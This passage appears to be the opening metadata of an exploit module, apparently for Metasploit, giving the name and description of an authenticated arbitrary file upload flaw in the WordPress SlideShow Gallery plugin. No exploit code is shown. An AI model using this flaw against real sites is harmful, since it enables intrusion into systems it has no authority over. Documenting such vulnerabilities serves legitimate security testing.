'Name' => 'Wordpress SlideShow Gallery Authenticated File Upload',
'Description' => %q{
The Wordpress SlideShow Gallery plugin contains an authenticated file upload
vulnerability. We can upload arbitrary files to the upload folder, because
the plugin also uses it's own file upload mechanism instead of the wordpress
api it's possible to upload any file type.
